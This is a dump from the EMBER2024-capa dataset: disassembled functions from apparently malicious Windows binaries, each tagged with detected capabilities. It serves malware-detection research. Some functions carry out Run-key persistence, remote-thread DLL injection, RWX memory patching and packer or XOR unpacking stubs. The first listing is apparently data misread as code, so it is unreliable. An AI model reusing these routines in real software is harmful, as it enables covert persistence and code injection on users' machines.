joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4aad7d
Capabilities:
Encode data using base64

Disassembly:
fcom dword [edx]
or byte [edi - 0x59], ch
sti
mov ch, 0xfc
out 0xc1, al
hlt
cwde
jns 0x4aad39
sbb byte [eax + 0x28b89b8c], bl
mov byte [eax], ch
xchg esi, eax
wait
mov eax, 0x96288828
dec ecx
jne 0x4aadc3
inc edx
stc
mov dl, 9
adc byte [ebx], bh
sub dword [edx - 0x38c7ac3d], 0xffffff88
sbb ebx, ecx
test eax, 0x8d0a2f00
add dword [ecx - 0x46f6c3e7], 0xffffffbf
dec ecx
ja 0x4aaddc
je 0x4aae26
jns 0x4aae16
push 0x8959f92b
cmp al, 0xa6
sub edi, ecx
pop ecx
mov dword [esi], edi
or eax, 0xea259cb9
xchg ecx, eax
and ah, cl
scasd eax, dword es:[edi]
cmp al, 0x3f
imul eax, dword [edi - 0x49cb7fdd], 0x23
mov dword [ecx], edi
leave
jecxz 0x4aad83
xor al, 0xb6
and ecx, dword [ecx - 0x471c36c7]
in al, dx
add byte [ebx + 0x5333da38], 0xb
inc eax
movsb byte es:[edi], byte [esi]
and byte [ecx - 0x26a7df50], cl
cdq
salc
jb 0x4aadac
test dword [ecx], esi
leave
xor ebp, dword [ecx + 0x518c4a2a]
movsd dword es:[edi], dword [esi]
invalid
fucomi st(0)
test eax, 0x96bfdc69
add byte [ecx - 0xf], bl
pop edx
cdq
call 0xa9b00bc5
xor byte [edx + 0x7c01d929], al
mov esp, 0x4c3d7978
test eax, 0xd9298230
add dword [esp + edi*4 + 0x78], edi
jns 0x4aae6e
dec esp
mov ah, 0x67
push esp
mov al, 0x3d
mov dh, 0xbb
cdq
push edi
jb 0x4aade2
shl byte [edi + 0x87fe224], 1
adc dword [ebx + 0x5a], esp
jns 0x4aaeb6
fisttp word [edx + 0x51]
or bl, ch
idiv byte [esi]
mov esi, 0x491a5b46
push ecx
or dword [0x61e5dd7b], ebx
sub byte [ecx - 0x1b], 0x3d
test eax, 0x94561588
stosb byte es:[edi], al
pop ecx
mov cl, 0x28
enter 0xffffffffffff965e, 6
in al, 0x44
shl byte [edx + 0x59], cl
add al, 0x8d
fiadd word [ecx]
movsd dword es:[edi], dword [esi]
adc ah, 0xfd
add eax, 0xe839d818
sub dword gs:[ecx], ecx
or dword [esp + edi*4 + 0x796b5e19], eax
fcomi st(6)
fsubr dword [eax - 0x19]
mov esp, 0xda9189f9
mov dword [ecx], eax
fstp dword [eax - 0x63d72886]
mov bl, 0x2c
cli
mov ch, 0x68
xor esi, dword [ecx]
hlt
Function at 0x4bb041
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4c2390
cmp edx, dword [eax]
je 0x4bb063
add eax, 8
inc ecx
cmp eax, 0x4c2420
jl 0x4bb054
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4c2390]
jne 0x4bb191
mov eax, dword [0x4c6d1c]
cmp eax, 1
je 0x4bb16b
test eax, eax
jne 0x4bb094
cmp dword [0x4c22bc], 1
je 0x4bb16b
cmp edx, 0xfc
je 0x4bb191
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4bb0cb
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.004bba20
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004bbeb0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4bb10e
lea eax, [ebp - 0x1a4]
push eax
call fcn.004bbeb0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4c072c
push edi
call fcn.004bdd80
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.004bba20
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004bba30
lea eax, [ebp - 0xa0]
push 0x4c070c
push eax
call fcn.004bba30
push dword [esi + 0x4c2394]
lea eax, [ebp - 0xa0]
push eax
call fcn.004bba30
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.004bdcf4
add esp, 0x2c
pop edi
jmp 0x4bb191
lea eax, [ebp + 8]
lea esi, [esi + 0x4c2394]
push 0
push eax
push dword [esi]
call fcn.004bbeb0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x68ec12f3
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
lea eax, [ebp - 0x2c]
mov dword [esp], eax
call sym._GetSystemInfo_4
sub esp, 4
mov eax, dword [ebp - 0x14]
cmp eax, 0x69
je 0x68ec1337
mov eax, dword [ebp - 0x14]
cmp eax, 0x6f
je 0x68ec1337
mov eax, dword [ebp - 0x14]
cmp eax, 0x6e
je 0x68ec1337
mov eax, dword [ebp - 0x14]
cmp eax, 0x74
je 0x68ec1337
mov eax, dword [ebp - 0x14]
cmp eax, 0x65
je 0x68ec1337
mov eax, dword [ebp - 0x14]
cmp eax, 0x6c
jne 0x68ec137d
mov eax, dword [ebp - 0x14]
cmp eax, 0x43
je 0x68ec1376
mov eax, dword [ebp - 0x14]
cmp eax, 0x65
je 0x68ec1376
mov eax, dword [ebp - 0x14]
cmp eax, 0x6c
je 0x68ec1376
mov eax, dword [ebp - 0x14]
cmp eax, 0x65
je 0x68ec1376
mov eax, dword [ebp - 0x14]
cmp eax, 0x72
je 0x68ec1376
mov eax, dword [ebp - 0x14]
cmp eax, 0x6f
je 0x68ec1376
mov eax, dword [ebp - 0x14]
cmp eax, 0x6e
je 0x68ec1376
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x68ec137d
mov eax, 1
jmp 0x68ec1382
mov eax, 0
leave
ret

Function at 0x68ec1384
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x158
mov dword [ebp - 0xc], 0x104
mov dword [ebp - 0x10], 1
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
lea eax, [ebp - 0x11c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
lea eax, [ebp - 0x18]
mov dword [esp + 0x20], eax
lea eax, [ebp - 0x14]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0xf003f
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
call sym._RegCreateKeyExA_36
sub esp, 0x24
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0xc]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x11c]
mov dword [esp + 0x10], edx
mov edx, dword [ebp - 0x10]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0
mov dword [esp + 4], str.AutoRun
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
nop
leave
ret
Function at 0x68ec14b9
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], sym._LoadLibraryA_4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x14], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret

Function at 0x68ec15b2
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0x80000000
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._CreateFileA_28
sub esp, 0x1c
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x68ec1615
mov dword [esp], str.Open_file_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x68ec16d7
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._GetFileSize_8
sub esp, 8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x68ec164a
mov dword [esp], str.Get_file_size_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x68ec16d7
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [esp], eax
call sym._malloc
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], 0
jne 0x68ec1674
mov dword [esp], str.Allocate_memory_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x68ec16d7
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], 0
lea edx, [ebp - 0x18]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._ReadFile_20
sub esp, 0x14
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x68ec16bb
mov dword [esp], str.Read_file_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x68ec16d7
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp + 0xc]
add eax, edx
mov byte [eax], 0
mov eax, dword [ebp - 0x10]
leave
ret
Function at 0x68ec1c80
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x68ec603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x68ec6034]
sub esp, 4
test ebx, ebx
je 0x68ec1ccb
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x68ec1cc4
test esi, esi
je 0x68ec1cc4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x68ec1ca0
mov dword [esp], 0x68ec603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x68ec1eb0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x68ec41bc
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x68ec1f00
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x68ec1fd8
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x68ec1f3e
cmp eax, 4
jne 0x68ec1f60
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x68ec1f4e
cmp edx, 4
je 0x68ec1f4e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.68ec1eb0
Function at 0x100fbb2c
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x1c
push ebx
push ebp
push esi
mov esi, dword [esp + 0x38]
xor eax, eax
mov dword [esp + 0xc], eax
push edi
push 4
mov eax, dword [esi + 0x78]
add eax, 4
push eax
lea eax, [esp + 0x2c]
push eax
call fcn.100fb56c
mov eax, dword [esi + 0x78]
add eax, 8
push 4
push eax
lea eax, [esp + 0x3c]
push eax
call fcn.100fb56c
mov ecx, dword [esp + 0x48]
xor ebp, ebp
add esp, 0x18
les ebx, [eax]
Function at 0x405d9a
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x42c574], 0
push esi
jne 0x405dd1
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405dab
mov dword [ecx*4 + 0x42c570], eax
inc ecx
cmp ecx, 0x100
jl 0x405da6
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405e02
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x42c570]
xor eax, esi
inc ecx
dec edx
jne 0x405de4
pop edi
not eax
pop esi
ret 0xc

Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
je 0x430072
nop
nop
nop
nop
nop
mov ebx, 0x408ecc
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x4b080879
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x430060
nop
nop
nop
mov eax, section..data_1
nop
cmp eax, 0
nop
nop
nop
je 0x4300d2
nop
nop
nop
mov ebx, 0x42e1d0
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x74a47cca
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x4300c0
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x403d00
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
call sub.SDL2.dll_SDL_GetError
push eax
push dword [ebp + 8]
push str._s:__s_n
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
push eax
call fcn.00403d80
add esp, 0x10
push 2
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x412e82
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00412d01

Function at 0x4171e6
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00416b54

Function at 0x4171f1
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00416d8f

Function at 0x437410
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x2d000]
push edi
or ebp, 0xffffffff
jmp 0x437432
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x437439
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x437428
mov eax, 1
add ebx, ebx
jne 0x43744b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x437440
jne 0x43745c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x437440
xor ecx, ecx
sub eax, 3
jb 0x437470
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4374e2
mov ebp, eax
add ebx, ebx
jne 0x43747b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x437488
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4374ac
inc ecx
add ebx, ebx
jne 0x437498
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x43748d
jne 0x4374a9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x43748d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4374cc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4374bd
jmp 0x43742e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4374cc
add edi, ecx
jmp 0x43742e
pop esi
mov edi, esi
mov ecx, 0x165
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4374ea
cmp byte [edi], 2
jne 0x4374ea
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x4374ef
lea edi, [esi + 0x35000]
mov eax, dword [edi]
or eax, eax
je 0x437567
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x3e5e0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x3e61c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x43751c
mov ecx, edi
jns 0x43754b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x3e620]
or eax, eax
je 0x437561
mov dword [ebx], eax
add ebx, 4
jmp 0x437539
call dword [esi + 0x3e624]
popal
jmp 0x402bd4
Function at 0x405c70
Capabilities:
Access peb ldr_data
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4d90e2
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x50d080]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], 0
cmp dword [ebp + 0xc], 0
je 0x405ccc
mov dword [ebx], 0x4f4704
mov dword [ebx + 0x10], 0x4f46fc
mov dword [ebx + 0x68], vtable.std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__.0
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 1
push 0
push 0
lea edi, [ebx + 0x18]
mov ecx, ebx
push edi
call fcn.00409590
lea edx, [ebx + 0x10]
mov dword [ebp + 0xc], edx
mov eax, dword [edx]
mov eax, dword [eax + 4]
mov dword [edx + eax], vtable.std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__.0
mov eax, dword [edx]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ecx + edx - 4], eax
mov eax, dword [ebx]
mov eax, dword [eax + 4]
mov dword [ebx + eax], vtable.std::basic_iostream_wchar_t__struct_std::char_traits_wchar_t__.0
mov eax, dword [ebx]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x20]
mov dword [ecx + ebx - 4], eax
mov dword [ebp - 4], 4
mov eax, dword [ebx]
push 8
mov eax, dword [eax + 4]
mov dword [ebx + eax], vtable.std::basic_stringstream_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov eax, dword [ebx]
mov ecx, dword [eax + 4]
mov dword [ebp + 0xc], edi
lea eax, [ecx - 0x68]
mov dword [ecx + ebx - 4], eax
mov dword [edi], vtable.std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t__.0
call fcn.0047cd8f
add esp, 4
mov esi, eax
push 1
mov byte [ebp - 4], 5
call fcn.00463138
mov dword [esi + 4], eax
lea ecx, [edi + 8]
lea eax, [edi + 4]
mov ebx, dword [ebp + 8]
mov dword [edi + 0xc], eax
add esp, 4
lea eax, [edi + 0x14]
mov dword [edi + 0x10], ecx
mov dword [edi + 0x1c], eax
lea eax, [edi + 0x18]
mov dword [edi + 0x20], eax
lea eax, [edi + 0x24]
mov dword [edi + 0x2c], eax
lea eax, [edi + 0x28]
mov dword [edi + 0x30], eax
mov dword [edi + 0x34], esi
mov dword [ecx], 0
mov ecx, ebx
mov eax, dword [edi + 0x20]
not ecx
and ecx, 1
shl ecx, 2
mov edx, ecx
mov dword [eax], 0
or edx, 2
mov eax, dword [edi + 0x30]
mov dword [eax], 0
mov eax, dword [edi + 0xc]
mov dword [eax], 0
mov eax, dword [edi + 0x1c]
mov dword [eax], 0
mov eax, dword [edi + 0x2c]
mov dword [eax], 0
mov eax, ebx
and al, 2
mov dword [edi], vtable.std::basic_stringbuf_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov dword [edi + 0x38], 0
mov eax, ebx
cmovne edx, ecx
mov ecx, edx
or ecx, 8
and al, 8
cmove ecx, edx
mov eax, ecx
or eax, 0x10
and bl, 4
cmove eax, ecx
mov dword [edi + 0x3c], eax
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x40ea80
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, ecx
push str.advapi32.dll
mov dword [edi], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ebx, eax
test ebx, ebx
jne 0x40eaab
mov ecx, str.advapi32.dll
call fcn.0040f280
mov ebx, eax
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4f4748
push ebx
call esi
push str.RegCreateKeyExW
push ebx
mov dword [edi + 4], eax
call esi
push 0x4f4768
push ebx
mov dword [edi + 8], eax
call esi
push str.RegSetValueExW
push ebx
mov dword [edi + 0x10], eax
call esi
push str.RegEnumKeyExW
push ebx
mov dword [edi + 0x14], eax
call esi
push str.RegEnumValueW
push ebx
mov dword [edi + 0x18], eax
call esi
push str.RegDeleteValueW
push ebx
mov dword [edi + 0x1c], eax
call esi
push 0x4f47bc
push ebx
mov dword [edi + 0x20], eax
call esi
mov ecx, dword [edi]
mov dword [edi + 0xc], eax
test ecx, ecx
je 0x40eb18
push ecx
call eax
mov dword [edi], 0
cmp dword [ebp + 0x10], 0
je 0x40eb37
mov eax, dword [edi + 4]
push edi
push 1
push 0
push dword [ebp + 8]
push dword [ebp + 0xc]
call eax
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
ret 0xc
lea eax, [ebp + 0x10]
mov dword [ebp + 0x10], 0
push eax
mov eax, dword [edi + 8]
push edi
push 0
push 0xf003f
push 0
push 0x4f47c8
push 0
push dword [ebp + 8]
push dword [ebp + 0xc]
call eax
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
ret 0xc
Function at 0x411d10
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4d9c3b
mov eax, dword fs:[0]
push eax
sub esp, 0x238
mov eax, dword [0x50d080]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x21c]
push eax
push 0x104
mov dword [ebp - 0x238], esi
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
test eax, eax
je 0x411ed3
lea eax, [ebp - 0x21c]
push eax
call fcn.004abfec
mov ax, word [ebp - 0x21c]
lea ebx, [ebp - 0x21c]
add esp, 4
test ax, ax
je 0x411ed3
movzx ecx, ax
nop dword [eax]
movzx eax, cx
mov dword [ebp - 0x23c], eax
cmp cx, 0x43
jb 0x411ea6
push ecx
lea eax, [ebp - 0x234]
push eax
call fcn.004125b0
mov dword [ebp - 4], 0
mov edi, dword [ebp - 0x224]
test edi, edi
je 0x411e63
mov edx, dword [esi]
mov esi, edx
mov eax, dword [esi + 4]
cmp byte [eax + 0xd], 0
jne 0x411df7
mov ecx, dword [ebp - 0x23c]
cmp word [eax + 0x10], cx
jae 0x411de3
mov eax, dword [eax + 8]
jmp 0x411de7
mov esi, eax
mov eax, dword [eax]
cmp byte [eax + 0xd], 0
je 0x411dd8
cmp esi, edx
je 0x411df7
cmp cx, word [esi + 0x10]
jae 0x411e3b
lea eax, [ebp - 0x23c]
push ecx
mov dword [ebp - 0x240], eax
lea eax, [ebp - 0x240]
push eax
push ecx
mov ecx, dword [ebp - 0x238]
call fcn.00414db0
mov ecx, dword [ebp - 0x238]
push eax
add eax, 0x10
push eax
push esi
lea eax, [ebp - 0x244]
push eax
call fcn.00414df0
mov esi, dword [ebp - 0x244]
mov edi, dword [ebp - 0x224]
lea ecx, [esi + 0x14]
lea eax, [ebp - 0x234]
cmp ecx, eax
je 0x411e5d
cmp dword [ebp - 0x220], 8
push edi
cmovae eax, dword [ebp - 0x234]
push eax
call fcn.00410170
mov esi, dword [ebp - 0x238]
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x220]
cmp edx, 8
jb 0x411ea6
mov ecx, dword [ebp - 0x234]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x411e9c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411ef8
push edx
push ecx
call fcn.0047cdbf
add esp, 8
mov ecx, ebx
lea edx, [ecx + 2]
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x411eb0
sub ecx, edx
sar ecx, 1
lea ebx, [ebx + ecx*2]
add ebx, 2
movzx eax, word [ebx]
mov ecx, eax
test ax, ax
jne 0x411d90
cmp dword [esi + 4], 0
setne al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0047cdd2
mov esp, ebp
pop ebp
ret 4
call fcn.0048954f
int3